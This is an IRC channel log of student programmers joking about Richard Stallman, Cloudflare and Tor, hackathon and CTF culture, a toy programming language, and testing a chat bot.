[2015-04-05T22:52:21-0400] <JacobEdelman> what, you rang
[2015-04-05T22:52:32-0400] <JacobEdelman> "10:50 PM <assface> oh gawd"
[2015-04-05T22:52:47-0400] <JacobEdelman> did you accidentally call me?
[2015-04-05T22:52:53-0400] <JacobEdelman> did you butt dial god?
[2015-04-05T22:53:17-0400] <JacobEdelman> :P
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[2015-04-05T22:53:51-0400] <JacobEdelman> hello everybody
[2015-04-05T22:54:01-0400] <JacobEdelman> this is nickolas360 
[2015-04-05T22:54:07-0400] <JacobEdelman> he is a friend of hardmath123's
[2015-04-05T22:54:10-0400] <JacobEdelman> he is scary smart
[2015-04-05T22:54:13-0400] <hardmath123> can confirm ^^
[2015-04-05T22:54:16-0400] <nickolas360> Hello!
[2015-04-05T22:54:43-0400] <JacobEdelman> awe: be a nice host and welcome the new pdgnite
[2015-04-05T22:55:01-0400] <assface> whodis
[2015-04-05T22:55:09-0400] <JacobEdelman> a person from hardmath123's school
[2015-04-05T22:55:15-0400] <JacobEdelman> who is smart
[2015-04-05T22:55:26-0400] <assface> r/iamverysmart
[2015-04-05T22:55:56-0400] <JacobEdelman> well, isn't this a warm reception
[2015-04-05T22:56:02-0400] <JacobEdelman> all of one person, here to greet you
[2015-04-05T22:56:11-0400] <JacobEdelman> :P
[2015-04-05T22:56:26-0400] <nickolas360> I think you hyped things up too much. I just press keys until things happen.
[2015-04-05T22:56:57-0400] <hardmath123> again, can confirm ^^
[2015-04-05T22:57:03-0400] <JacobEdelman> I press keys, but people keep yelling at me cause they say I press the wrong keys
[2015-04-05T22:57:12-0400] <hardmath123> though nickolas360 presses the *right* keys, which is a big advantage.
[2015-04-05T22:57:13-0400] <JacobEdelman> they say I misppelll thangs
[2015-04-05T22:57:25-0400] <JacobEdelman> *thigs
[2015-04-05T22:57:41-0400] <JacobEdelman> *potatoes 
[2015-04-05T22:58:38-0400] <assface> what is a thing?
[2015-04-05T23:00:29-0400] <JacobEdelman> a type of potato
[2015-04-05T23:00:31-0400] <JacobEdelman> I think
[2015-04-05T23:02:13-0400] <assface> ridiculous
[2015-04-05T23:02:43-0400] <assface> so nickolas360
[2015-04-05T23:02:47-0400] <assface> tell us about yourself
[2015-04-05T23:02:56-0400] <assface> are you a commie spy sent to destroy america?
[2015-04-05T23:06:23-0400] <nickolas360> No, I'm actually Richard Stallman in disguise.
[2015-04-05T23:09:15-0400] <assface> all hail our lord and saviour
[2015-04-05T23:10:01-0400] <hardmath123> and to prove it, nickolas360 will now sign the last few minutes of IRC log using Stallman's public key.
[2015-04-05T23:10:19-0400] <assface> ...that's not very impressive
[2015-04-05T23:10:28-0400] <assface> now if he used Stallman's *private* key...
[2015-04-05T23:11:38-0400] <Hyper> BUT WHAT IF SERVER WAS RUN NON-FREE DRIVERS?
[2015-04-05T23:13:29-0400] <assface> is it using the linux-libre kernel?
[2015-04-05T23:13:47-0400] <Hyper> assface: that's GNU/Linux to you
[2015-04-05T23:14:14-0400] <nickolas360> I'd just like to interject for a moment...
[2015-04-05T23:15:19-0400] <LittleBobbyTables> That's unfortunate.
[2015-04-05T23:15:21-0400] <LittleBobbyTables> I won't let you.
[2015-04-05T23:15:40-0400] <assface> harsh
[2015-04-05T23:15:47-0400] <assface> also the linux kernel ain't GNU
[2015-04-05T23:15:49-0400] <assface> get it right
[2015-04-05T23:17:44-0400] <Hyper> assface: The Linux kernel was built on the sweat of GNU contributors, so it should be called GNU/Linux
[2015-04-05T23:18:17-0400] <nickolas360> "The term 'Linux kernel' is misleading, because it implies that Linux is more than just a kernel. Please say 'the kernel Linux.'" - probably Richard Stallman
[2015-04-05T23:18:19-0400] <Hyper> in addition to being a mere part of the overall GNU ecosystme, of course
[2015-04-05T23:18:53-0400] <LittleBobbyTables> - Michael Scott
[2015-04-05T23:33:08-0400] <assface> http://geekz.co.uk/lovesraymond/archive/novellty-linux
[2015-04-05T23:33:30-0400] <+awe> Oh!
[2015-04-05T23:33:32-0400] <+awe> Hello, nickolas360!
[2015-04-05T23:33:46-0400] <assface> he's actually rms
[2015-04-05T23:33:51-0400] <+awe> JacobEdelman: I've already met him before. :p
[2015-04-05T23:34:07-0400] <nickolas360> awe: Hello
[2015-04-05T23:35:01-0400] <assface> http://geekz.co.uk/lovesraymond/archive/eric-buys-an-ipod
[2015-04-05T23:35:40-0400] <+awe> How's it going?
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[2015-04-05T22:55:15-0400] <JacobEdelman> who is smart
[2015-04-05T22:55:26-0400] <assface> r/iamverysmart
[2015-04-05T22:55:56-0400] <JacobEdelman> well, isn't this a warm reception
[2015-04-05T22:56:02-0400] <JacobEdelman> all of one person, here to greet you
[2015-04-05T22:56:11-0400] <JacobEdelman> :P
[2015-04-05T22:56:26-0400] <nickolas360> I think you hyped things up too much. I just press keys until things happen.
[2015-04-05T22:56:57-0400] <hardmath123> again, can confirm ^^
[2015-04-05T22:57:03-0400] <JacobEdelman> I press keys, but people keep yelling at me cause they say I press the wrong keys
[2015-04-05T22:57:12-0400] <hardmath123> though nickolas360 presses the *right* keys, which is a big advantage.
[2015-04-05T22:57:13-0400] <JacobEdelman> they say I misppelll thangs
[2015-04-05T22:57:25-0400] <JacobEdelman> *thigs
[2015-04-05T22:57:41-0400] <JacobEdelman> *potatoes 
[2015-04-05T22:58:38-0400] <assface> what is a thing?
[2015-04-05T23:00:29-0400] <JacobEdelman> a type of potato
[2015-04-05T23:00:31-0400] <JacobEdelman> I think
[2015-04-05T23:02:13-0400] <assface> ridiculous
[2015-04-05T23:02:43-0400] <assface> so nickolas360
[2015-04-05T23:02:47-0400] <assface> tell us about yourself
[2015-04-05T23:02:56-0400] <assface> are you a commie spy sent to destroy america?
[2015-04-05T23:06:23-0400] <nickolas360> No, I'm actually Richard Stallman in disguise.
[2015-04-05T23:09:15-0400] <assface> all hail our lord and saviour
[2015-04-05T23:10:01-0400] <hardmath123> and to prove it, nickolas360 will now sign the last few minutes of IRC log using Stallman's public key.
[2015-04-05T23:10:19-0400] <assface> ...that's not very impressive
[2015-04-05T23:10:28-0400] <assface> now if he used Stallman's *private* key...
[2015-04-05T23:11:38-0400] <Hyper> BUT WHAT IF SERVER WAS RUN NON-FREE DRIVERS?
[2015-04-05T23:13:29-0400] <assface> is it using the linux-libre kernel?
[2015-04-05T23:13:47-0400] <Hyper> assface: that's GNU/Linux to you
[2015-04-05T23:14:14-0400] <nickolas360> I'd just like to interject for a moment...
[2015-04-05T23:15:19-0400] <LittleBobbyTables> That's unfortunate.
[2015-04-05T23:15:21-0400] <LittleBobbyTables> I won't let you.
[2015-04-05T23:15:40-0400] <assface> harsh
[2015-04-05T23:15:47-0400] <assface> also the linux kernel ain't GNU
[2015-04-05T23:15:49-0400] <assface> get it right
[2015-04-05T23:17:44-0400] <Hyper> assface: The Linux kernel was built on the sweat of GNU contributors, so it should be called GNU/Linux
[2015-04-05T23:18:17-0400] <nickolas360> "The term 'Linux kernel' is misleading, because it implies that Linux is more than just a kernel. Please say 'the kernel Linux.'" - probably Richard Stallman
[2015-04-05T23:18:19-0400] <Hyper> in addition to being a mere part of the overall GNU ecosystme, of course
[2015-04-05T23:18:53-0400] <LittleBobbyTables> - Michael Scott
[2015-04-05T23:33:08-0400] <assface> http://geekz.co.uk/lovesraymond/archive/novellty-linux
[2015-04-05T23:33:30-0400] <+awe> Oh!
[2015-04-05T23:33:32-0400] <+awe> Hello, nickolas360!
[2015-04-05T23:33:46-0400] <assface> he's actually rms
[2015-04-05T23:33:51-0400] <+awe> JacobEdelman: I've already met him before. :p
[2015-04-05T23:34:07-0400] <nickolas360> awe: Hello
[2015-04-05T23:35:01-0400] <assface> http://geekz.co.uk/lovesraymond/archive/eric-buys-an-ipod
[2015-04-05T23:35:40-0400] <+awe> How's it going?
[2015-04-05T23:40:52-0400] <nickolas360> awe: Well my computer just shut down even though it supposedly had 45 minutes left
[2015-04-05T23:41:05-0400] <assface> hue
[2015-04-05T23:45:08-0400] <nickolas360> saturation
[2015-04-05T23:45:10-0400] <nickolas360> lightness
[2015-04-05T23:46:11-0400] <hardmath123> alpha
[2015-04-05T23:49:40-0400] Mode is +nt
[2015-04-05T23:49:51-0400] <JacobEdelman> gnight all
[2015-04-05T23:49:52-0400] <+awe> SLA?
[2015-04-05T23:49:58-0400] <+awe> Software Licensing Agreement?
[2015-04-05T23:50:09-0400] <+awe> Service-Level Agreement?
[2015-04-05T23:51:07-0400] <nickolas360> HSLA: High-strength low-alloy steel
[2015-04-05T23:51:24-0400] <+awe> Everything makes sense now.
[2015-04-06T00:21:34-0400] <+awe> Hear ye, hear ye, I bring great news.
[2015-04-06T00:21:40-0400] <+awe> http://pdgn.co/canary.txt
[2015-04-06T00:23:43-0400] <+awe> I don't love the article I linked.
[2015-04-06T00:23:44-0400] <+awe> "Among elements of this concept are the "dark matter" thought to make up some 96 percent of the stuff of the universe while being totally invisible and super-symmetry, or SUSY, under which all visible particles have unseen counterparts."
[2015-04-06T00:23:50-0400] <+awe> That's not true.
[2015-04-06T00:23:58-0400] <+awe> Matter makes up 4-5% of our universe, yes.
[2015-04-06T00:24:07-0400] <+awe> But we're pretty sure only like 22% is dark matter.
[2015-04-06T00:24:16-0400] <+awe> We don't have the slightest clue what the remainder is!
[2015-04-06T00:27:01-0400] <nickolas360> awe: What public key corresponds with that signature?
[2015-04-06T00:27:09-0400] <+awe> The one on my keybase.
[2015-04-06T00:28:37-0400] <LittleBobbyTables> y u gotta cloudflare bro
[2015-04-06T00:33:01-0400] <+awe> LittleBobbyTables: why shouldn't I?
[2015-04-06T00:33:12-0400] <LittleBobbyTables> Makes tor browsing hard
[2015-04-06T00:33:22-0400] <+awe> Does it?
[2015-04-06T00:33:53-0400] <nickolas360> Yeah, it makes you enter CAPTCHAs and tries to extract canvas data
[2015-04-06T00:34:08-0400] <+awe> I did not know that. I will go disable CF.
[2015-04-06T00:37:04-0400] <+awe> Okay, I just disabled CF on all of my sites that are hosted on GitHub.
[2015-04-06T00:37:19-0400] <LittleBobbyTables> What a bro
[2015-04-06T00:37:47-0400] <LittleBobbyTables> I should figure out how to use pgp
[2015-04-06T00:37:56-0400] <+awe> I can't believe that CF harasses tor users.
[2015-04-06T00:38:24-0400] <LittleBobbyTables> It just harasses people it can't easily identify.
[2015-04-06T00:38:30-0400] <LittleBobbyTables> Decent proxies do it too.
[2015-04-06T00:38:36-0400] <LittleBobbyTables> Sometimes happens when normally browsing
[2015-04-06T00:39:03-0400] <+awe> That's annoying.
[2015-04-06T00:39:10-0400] <LittleBobbyTables> Yeah.
[2015-04-06T01:29:01-0400] <assface> LittleBobbyTables: just read gpg's man page
[2015-04-06T01:30:26-0400] <LittleBobbyTables> Too much work
[2015-04-06T01:30:31-0400] <LittleBobbyTables> Why can't I just have someone explain it to me
[2015-04-06T01:47:35-0400] <assface> that's what man tables are for dingus
[2015-04-06T01:47:40-0400] <assface> *pages
[2015-04-06T01:47:45-0400] <LittleBobbyTables> tldr
[2015-04-06T01:55:03-0400] <LittleBobbyTables> gn, gotta get  up for school early
[2015-04-06T01:55:15-0400] <assface> lol
[2015-04-06T01:55:20-0400] <assface> I should too
[2015-04-06T01:55:22-0400] <assface> gn
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[2015-04-06T00:37:19-0400] <LittleBobbyTables> What a bro
[2015-04-06T00:37:47-0400] <LittleBobbyTables> I should figure out how to use pgp
[2015-04-06T00:37:56-0400] <+awe> I can't believe that CF harasses tor users.
[2015-04-06T00:38:24-0400] <LittleBobbyTables> It just harasses people it can't easily identify.
[2015-04-06T00:38:30-0400] <LittleBobbyTables> Decent proxies do it too.
[2015-04-06T00:38:36-0400] <LittleBobbyTables> Sometimes happens when normally browsing
[2015-04-06T00:39:03-0400] <+awe> That's annoying.
[2015-04-06T00:39:10-0400] <LittleBobbyTables> Yeah.
[2015-04-06T01:29:01-0400] <assface> LittleBobbyTables: just read gpg's man page
[2015-04-06T01:30:26-0400] <LittleBobbyTables> Too much work
[2015-04-06T01:30:31-0400] <LittleBobbyTables> Why can't I just have someone explain it to me
[2015-04-06T01:47:35-0400] <assface> that's what man tables are for dingus
[2015-04-06T01:47:40-0400] <assface> *pages
[2015-04-06T01:47:45-0400] <LittleBobbyTables> tldr
[2015-04-06T01:55:03-0400] <LittleBobbyTables> gn, gotta get  up for school early
[2015-04-06T01:55:15-0400] <assface> lol
[2015-04-06T01:55:20-0400] <assface> I should too
[2015-04-06T01:55:22-0400] <assface> gn
[2015-04-06T09:43:57-0400] <JacobEdelman> gmorning all
[2015-04-06T09:49:12-0400] <nezorg> whaddya mean, it's 10:49
[2015-04-06T09:49:23-0400] <nezorg> pm
[2015-04-06T10:02:01-0400] <JacobEdelman> you korean people
[2015-04-06T10:02:09-0400] <JacobEdelman> :P
[2015-04-06T10:02:18-0400] <JacobEdelman> have you guys competeted yet?
[2015-04-06T10:02:25-0400] <JacobEdelman> Tamini_: nezorg : ^
[2015-04-06T10:02:39-0400] <Tamini_> nop
[2015-04-06T10:02:42-0400] <nezorg> what is competeting?
[2015-04-06T10:05:15-0400] <LittleBobbyTables> It's Jacob's terrible English version of "competing"
[2015-04-06T10:06:32-0400] <alokpathy> Competition's tomorrow.
[2015-04-06T10:06:36-0400] <alokpathy> Today was funfun day.
[2015-04-06T10:06:47-0400] <nezorg> *competetition
[2015-04-06T10:06:57-0400] <Tamini_> we took cute selfies
[2015-04-06T10:17:07-0400] <LittleBobbyTables> prove it
[2015-04-06T10:17:19-0400] <Tamini_> no :<
[2015-04-06T10:18:19-0400] <LittleBobbyTables> Didn't happen then
[2015-04-06T10:18:33-0400] <jwoglom> lol, they do say "pics or it didn't happen"
[2015-04-06T10:18:44-0400] <LittleBobbyTables> ^
[2015-04-06T10:19:16-0400] <Tamini_> maybe later
[2015-04-06T10:19:17-0400] <Tamini_> im tired
[2015-04-06T10:30:11-0400] <nickthename> what's the competition?
[2015-04-06T10:31:34-0400] <kenzierocks> codegate
[2015-04-06T10:45:52-0400] <LittleBobbyTables> leaving now
[2015-04-06T10:50:37-0400] <JacobEdelman> I posted a comment on an nytimes article praising hackathons on hackernews
[2015-04-06T10:50:38-0400] <JacobEdelman> https://news.ycombinator.com/item?id=9328104
[2015-04-06T10:50:38-0400] <JacobEdelman> my most upvoted comment ever
[2015-04-06T10:51:56-0400] <JacobEdelman> so I posted
[2015-04-06T10:52:04-0400] <JacobEdelman> a comment on hackernews
[2015-04-06T10:52:12-0400] <JacobEdelman> on a nytimes article praising hackathons
[2015-04-06T10:52:12-0400] <JacobEdelman> https://news.ycombinator.com/item?id=9328104
[2015-04-06T10:52:17-0400] <JacobEdelman> my most upvoted comment ever
[2015-04-06T11:46:51-0400] Mode is +nt
[2015-04-06T11:55:42-0400] <jwoglom> RIP 62 day uptime
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[2015-04-06T12:02:41-0400] <JacobEdelman> Tamini_: nezorg: how goes the ctf?
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[2015-04-06T15:04:26-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-04-06T09:49:12-0400] <nezorg> whaddya mean, it's 10:49
[2015-04-06T09:49:23-0400] <nezorg> pm
[2015-04-06T10:02:01-0400] <JacobEdelman> you korean people
[2015-04-06T10:02:09-0400] <JacobEdelman> :P
[2015-04-06T10:02:18-0400] <JacobEdelman> have you guys competeted yet?
[2015-04-06T10:02:25-0400] <JacobEdelman> Tamini_: nezorg : ^
[2015-04-06T10:02:39-0400] <Tamini_> nop
[2015-04-06T10:02:42-0400] <nezorg> what is competeting?
[2015-04-06T10:05:15-0400] <LittleBobbyTables> It's Jacob's terrible English version of "competing"
[2015-04-06T10:06:32-0400] <alokpathy> Competition's tomorrow.
[2015-04-06T10:06:36-0400] <alokpathy> Today was funfun day.
[2015-04-06T10:06:47-0400] <nezorg> *competetition
[2015-04-06T10:06:57-0400] <Tamini_> we took cute selfies
[2015-04-06T10:17:07-0400] <LittleBobbyTables> prove it
[2015-04-06T10:17:19-0400] <Tamini_> no :<
[2015-04-06T10:18:19-0400] <LittleBobbyTables> Didn't happen then
[2015-04-06T10:18:33-0400] <jwoglom> lol, they do say "pics or it didn't happen"
[2015-04-06T10:18:44-0400] <LittleBobbyTables> ^
[2015-04-06T10:19:16-0400] <Tamini_> maybe later
[2015-04-06T10:19:17-0400] <Tamini_> im tired
[2015-04-06T10:30:11-0400] <nickthename> what's the competition?
[2015-04-06T10:31:34-0400] <kenzierocks> codegate
[2015-04-06T10:45:52-0400] <LittleBobbyTables> leaving now
[2015-04-06T10:50:37-0400] <JacobEdelman> I posted a comment on an nytimes article praising hackathons on hackernews
[2015-04-06T10:50:38-0400] <JacobEdelman> https://news.ycombinator.com/item?id=9328104
[2015-04-06T10:50:38-0400] <JacobEdelman> my most upvoted comment ever
[2015-04-06T10:51:56-0400] <JacobEdelman> so I posted
[2015-04-06T10:52:04-0400] <JacobEdelman> a comment on hackernews
[2015-04-06T10:52:12-0400] <JacobEdelman> on a nytimes article praising hackathons
[2015-04-06T10:52:12-0400] <JacobEdelman> https://news.ycombinator.com/item?id=9328104
[2015-04-06T10:52:17-0400] <JacobEdelman> my most upvoted comment ever
[2015-04-06T11:55:42-0400] <jwoglom> RIP 62 day uptime
[2015-04-06T12:02:40-0400] <JacobEdelman> Tamini_: nezorg: how goes the ctf?
[2015-04-06T12:52:55-0400] <nickthename> JacobEdelman: huh, the hackathons me and my friends have been to have been pretty low-reward high-fun affairs
[2015-04-06T12:53:08-0400] <nickthename> A serious hackathon for big prizes sounds silly
[2015-04-06T12:53:15-0400] <nickthename> so subjective
[2015-04-06T12:53:17-0400] <nickthename> <3 ctfs
[2015-04-06T13:08:24-0400] <JacobEdelman> what hackathons have you gone too?
[2015-04-06T13:10:44-0400] <nickthename> hackdc and hacktj
[2015-04-06T13:32:30-0400] <Hyper> nickthename: those are the kind I like
[2015-04-06T13:32:49-0400] <Hyper> the most fun I've had at a hackathon had a $25 chipotle gift card as the grand prize
[2015-04-06T13:33:13-0400] <Hyper> it's enough to feel rewarding and small enough that there's no bitterness
[2015-04-06T13:36:01-0400] <failedxyz_> hello
[2015-04-06T13:38:52-0400] <Hyper> failedxyz_: yo
[2015-04-06T14:17:17-0400] <JacobEdelman> I llove how high school hackathons have become so popular
[2015-04-06T14:17:24-0400] <JacobEdelman> *CTFs
[2015-04-06T14:17:29-0400] <JacobEdelman> (wow, dat typo)
[2015-04-06T14:17:47-0400] <JacobEdelman> CTFs are becoming so ppular that people are thinking of CTFs as general cs competitions and not security focused
[2015-04-06T14:17:50-0400] <failedxyz_> lol
[2015-04-06T14:17:57-0400] <failedxyz_> camsctf
[2015-04-06T15:04:28-0400] Mode is +nt
[2015-04-06T15:13:42-0400] <fwilson> we should totally do an actual hackathon
[2015-04-06T15:14:29-0400] <fwilson> "Hackathons should be about coding something cool, not winning, networking, or partying."
[2015-04-06T15:14:31-0400] <fwilson> JacobEdelman++
[2015-04-06T15:14:38-0400] <fwilson> 100% this
[2015-04-06T15:16:22-0400] <JacobEdelman> good
[2015-04-06T15:16:26-0400] <JacobEdelman> upvote it :)
[2015-04-06T15:16:36-0400] <JacobEdelman> also, we are planning on making a hackpdgn for next year
[2015-04-06T15:18:22-0400] <fwilson> good ok
[2015-04-06T15:18:26-0400] <fwilson> will it be an online event
[2015-04-06T15:18:32-0400] <fwilson> ?
[2015-04-06T15:18:38-0400] <fwilson> also i don't hacker news
[2015-04-06T15:18:40-0400] <fwilson> otherwise i would
[2015-04-06T15:18:55-0400] <+awe> "hat's totally to be expected from 24 hours of hastily put together code. The value students get is learning about idea generation, working with others, managing a project, how to use the libraries, frameworks, and APIs, how to work to a deadline, how to debug, how to do version control, how to deploy, how to test and improve your work, how to present your work to others, and much more."
[2015-04-06T15:19:13-0400] <+awe> Why do people pretend that "learning things" in a time crunch is somehow an effective way to learn?
[2015-04-06T15:19:14-0400] <+awe> It's not.
[2015-04-06T15:19:39-0400] <+awe> In that time where you "learn" about "managing a project," you're learning how to manage a project poorly.
[2015-04-06T15:19:52-0400] <+awe> In that time where you "learn" about "working with others," you're learning how to work with others poorly.
[2015-04-06T15:20:31-0400] <+awe> In that time where you "learn" about "how to use the libraries, frameworks, and APIs," you're learning how to use small parts of these tools with little understanding of their overarching design.
[2015-04-06T15:20:43-0400] <+awe> The *only* skill you're *really* learning is how to work on an unreasonably tight deadline.
[2015-04-06T15:21:40-0400] <fwilson> very true
[2015-04-06T15:29:15-0400] <Hyper> awe: so basically startup life ;)
[2015-04-06T15:29:40-0400] <+awe> Yes, startup culture and hackathon culture are two sides of the same coin.
[2015-04-06T15:30:12-0400] <Hyper> I enjoy hackathons because I can turn that off after the weekend ;D
[2015-04-06T15:30:34-0400] <+awe> They're trying to groom you for startup lyf tho.
[2015-04-06T15:30:52-0400] <Hyper> :D
[2015-04-06T15:30:53-0400] <Hyper> [15:29:16]  <awebot>	I'd like to kiss you passionately on the lips. Then, I'll move up to your belly button.
[2015-04-06T15:30:58-0400] <Hyper> I GOT MY FIRST LEWD MESSAGE
[2015-04-06T15:30:59-0400] <Hyper> woo
[2015-04-06T15:31:00-0400] <Hyper> WOO
[2015-04-06T15:31:10-0400] <Hyper> \o/
[2015-04-06T15:34:05-0400] <Hyper> awe: so I know that, but I enjoy hackathons as a singular thing. If I had to be like that for more than a day or two every couple weeks I'd die
[2015-04-06T15:35:52-0400] <+awe> I really don't like the glorification of startup culture.
[2015-04-06T15:36:05-0400] <+awe> Everyone pretends that they're all going to be rich off their startup.
[2015-04-06T15:37:55-0400] <nickolas360> But how can my new startup socialcalendr.io possibly fail?
[2015-04-06T15:38:28-0400] <hardmath123> nickolas360: to be fair, the kid who made the app did end up winning something...
[2015-04-06T15:39:07-0400] <nickolas360> But he didn't register a .io domain and didn't change "er" to "r"! That's how you make a truly successful startup.
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[2015-04-06T16:40:19-0400] <JacobEdelman> hardmath123: nickolas360 I feel like I'm missing context...
[2015-04-06T16:40:30-0400] <hardmath123> GunnHacks project by someone.
[2015-04-06T16:45:23-0400] <JacobEdelman> did it deserve to win?
[2015-04-06T17:01:01-0400] <nickolas360> In general, no. Compared to everything else, maybe.
[2015-04-06T17:07:05-0400] <hardmath123> i thought the bike thing should have won
[2015-04-06T17:30:22-0400] <nickolas360> or the polynomial-finder-grapher thing
[2015-04-06T17:32:25-0400] <JacobEdelman> the wind is shifting in just the right direction
[2015-04-06T17:32:28-0400] <JacobEdelman> magic is in the air
[2015-04-06T17:32:34-0400] <JacobEdelman> yes, pdgnites
[2015-04-06T17:32:39-0400] <JacobEdelman> I am working on lark again
[2015-04-06T17:32:41-0400] <JacobEdelman> :)
[2015-04-06T17:35:26-0400] <JacobEdelman> for those of you who don't know, lark is a programing language I've been working on off and on for about a year now
[2015-04-06T17:35:42-0400] <JacobEdelman> there have been several implementation each of which has been scraped before it could do anything
[2015-04-06T17:36:25-0400] <JacobEdelman> the version that got the farthest was capable of multipling two digit numbers!
[2015-04-06T17:36:25-0400] <JacobEdelman> (anywhere larger than that and it took too long)
[2015-04-06T17:40:55-0400] <+awe> Oh no.
[2015-04-06T17:41:02-0400] <JacobEdelman> its gonna be great!
[2015-04-06T17:41:03-0400] <+awe> Oh god, everything bad on this earth is going to happen.
[2015-04-06T17:41:11-0400] <JacobEdelman> I've decided just to work on getting a working prototype
[2015-04-06T17:41:18-0400] <JacobEdelman> so, I'm gonna write it in python
[2015-04-06T17:41:27-0400] <JacobEdelman> and use lots of 3rd party libraries
[2015-04-06T17:41:36-0400] <+awe> On an unrelated note, I just went to a talk about automated systemic source editing via code edit examples.
[2015-04-06T17:41:37-0400] <JacobEdelman> (note, larks wip name was "AnnoyWeiss")
[2015-04-06T17:41:38-0400] <+awe> It was pretty neat.
[2015-04-06T17:42:02-0400] <JacobEdelman> (maybe I should just dub the entire 0.x version "AnnoyWeiss")
[2015-04-06T17:42:06-0400] <JacobEdelman> (awe = weiss)
[2015-04-06T17:42:22-0400] <+awe> yo, dawg, you just dox'd me, mang
[2015-04-06T17:42:44-0400] <JacobEdelman> ...
[2015-04-06T17:42:55-0400] <JacobEdelman> thats valid lark code for deleting all your files!
[2015-04-06T17:43:02-0400] <JacobEdelman> or it can be! cause mutable syntax!
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[2015-04-06T17:53:58-0400] <+awe> JacobEdelman: so, remember how I said I was going to meet with a professor today?
[2015-04-06T17:58:49-0400] <+awe> JacobEdelman: I'll take that as a no.
[2015-04-06T17:59:07-0400] <+awe> JacobEdelman: don't you know you're supposed to be staring at this chat constantly awaiting my words?
[2015-04-06T18:09:46-0400] <apothy> Dammit JacobEdelman 
[2015-04-06T18:14:38-0400] <fwilson> lol
[2015-04-06T18:16:29-0400] <fwilson> awe: tfw /whois awe
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[2015-04-06T18:27:50-0400] <fwilson> hi Tamini_ 
[2015-04-06T18:29:08-0400] <Tamini_> hi fwilson
[2015-04-06T18:29:12-0400] <Tamini_> how are you??
[2015-04-06T18:30:36-0400] <fwilson> pretty good
[2015-04-06T18:30:39-0400] <fwilson> i made my irc bot work
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[2015-04-06T18:32:05-0400] <fwilson> ayy lmao
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[2015-04-06T18:32:58-0400] <fwilson> ugh
[2015-04-06T18:33:01-0400] <fwilson> please ignore
[2015-04-06T18:33:09-0400] <fwilson> for real this time
[2015-04-06T18:36:26-0400] <Tamini_> loool
[2015-04-06T18:38:24-0400] <jwoglom> lol fox do you really need another irc bot? :P
[2015-04-06T18:38:36-0400] <jwoglom> how many does this make now
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[2015-04-06T18:47:42-0400] <fwilson> it's going to stop
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[2015-04-06T18:48:20-0400] <fwilson> memebot9000: tellmeabout awebot
[2015-04-06T18:48:21-0400] <memebot9000> A bad thing happened :( 'User' object has no attribute 'ident'
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[2015-04-06T18:48:31-0400] <fwilson> memebot9000: tellmeabout awebot
[2015-04-06T18:48:31-0400] <memebot9000> awebot shares 1 channels with me (#pdgn), is connected from pdgn-4jd.4t2.2bemd8.IP, and has an ident of awebot.
[2015-04-06T18:48:40-0400] <jwoglom> fwilson: tellmeabout memebot9000 
[2015-04-06T18:48:44-0400] <fwilson> jwoglom: no
[2015-04-06T18:48:45-0400] <jwoglom> er
[2015-04-06T18:48:48-0400] <jwoglom> memebot9000: tellmeabout memebot9000 
[2015-04-06T18:48:48-0400] <memebot9000> memebot9000 shares 2 channels with me (#pdgn, #hs), is connected from pdgn-iio.q5k.uc24op.IP, and has an ident of dankest.
[2015-04-06T18:48:51-0400] <fwilson> memebot9000: tellmeabout dank memes
[2015-04-06T18:48:51-0400] <memebot9000> That command takes 1 arguments.
[2015-04-06T18:48:51-0400] <memebot9000> I don't know anything about dank.
[2015-04-06T18:49:00-0400] <fwilson> tfw it still tries
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[2015-04-06T18:49:25-0400] <kenzierocks> memebot9000: help
[2015-04-06T18:49:25-0400] <memebot9000> That's not a command.
[2015-04-06T18:49:29-0400] <kenzierocks> sigh
[2015-04-06T18:49:30-0400] <jwoglom> memebot9000: dank
[2015-04-06T18:49:30-0400] <memebot9000> That's not a command.
[2015-04-06T18:49:32-0400] <jwoglom> memebot9000: meme
[2015-04-06T18:49:32-0400] <memebot9000> That's not a command.
[2015-04-06T18:49:39-0400] <jwoglom> for a memebot
[2015-04-06T18:49:39-0400] <fwilson> memebot9000: tellmeabout kenzierocks 
[2015-04-06T18:49:39-0400] <memebot9000> kenzierocks shares 1 channels with me (#pdgn), is connected from pdgn-4km.pg3.oqpiq3.IP, and has an ident of kenzierocks.
[2015-04-06T18:49:44-0400] <jwoglom> it doesn't seem to have many features
[2015-04-06T18:49:48-0400] <fwilson> jwoglom: it has channel tracking
[2015-04-06T18:50:05-0400] <jwoglom> well i noticed that :P
[2015-04-06T18:50:21-0400] <kenzierocks> memebot9000: tellmeabout awebot
[2015-04-06T18:50:21-0400] <memebot9000> awebot shares 1 channels with me (#pdgn), is connected from pdgn-4jd.4t2.2bemd8.IP, and has an ident of awebot.
[2015-04-06T18:50:59-0400] <alokpathy> wat
[2015-04-06T18:51:10-0400] <alokpathy> memebot9000: tellmeabout alokpathy 
[2015-04-06T18:51:10-0400] <memebot9000> alokpathy shares 1 channels with me (#pdgn), is connected from pdgn-4jd.4t2.2bemd8.IP, and has an ident of alokpathy.
[2015-04-06T18:51:24-0400] <fwilson> alokpathy: do you want to see the state tracking code
[2015-04-06T18:51:24-0400] <jwoglom> fwilson: you should add a @whois like feature
[2015-04-06T18:51:29-0400] <fwilson> jwoglom: that's basically what tellmeabout is
[2015-04-06T18:51:32-0400] <alokpathy> fwilson: Lol okay
[2015-04-06T18:51:38-0400] <kenzierocks> memebot9000: tellmeabout apothy 
[2015-04-06T18:51:38-0400] <memebot9000> apothy shares 2 channels with me (#hs, #pdgn), is connected from pdgn-550.9ak.7cuf9e.IP, and has an ident of uid15876.
[2015-04-06T18:51:46-0400] <kenzierocks> what a strange ident
[2015-04-06T18:51:46-0400] <jwoglom> fwilson: like, so you can say iam [some description]
[2015-04-06T18:51:49-0400] <fwilson> https://github.com/Watchtower/asyncirc/blob/master/asyncirc/plugins/tracking.py
[2015-04-06T18:51:51-0400] <fwilson> jwoglom: oh
[2015-04-06T18:51:54-0400] <fwilson> maybe
[2015-04-06T18:52:00-0400] <jwoglom> like awebot
[2015-04-06T18:52:04-0400] <fwilson> @iam a dank meme
[2015-04-06T18:52:05-0400] <+awebot> fwilson: Got it!
[2015-04-06T18:52:12-0400] <jwoglom> @whois fwilson 
[2015-04-06T18:52:12-0400] <fwilson> @whois fwilson
[2015-04-06T18:52:12-0400] <+awebot> jwoglom: fwilson is a dank meme
[2015-04-06T18:52:12-0400] <+awebot> fwilson: fwilson is a dank meme
[2015-04-06T18:52:16-0400] <JacobEdelman> sorry
[2015-04-06T18:52:21-0400] <JacobEdelman> apothy and awe
[2015-04-06T18:52:26-0400] <JacobEdelman> you have noted my infraction
[2015-04-06T18:52:33-0400] <kenzierocks> @iam not a spy
[2015-04-06T18:52:33-0400] <+awebot> kenzierocks: Got it!
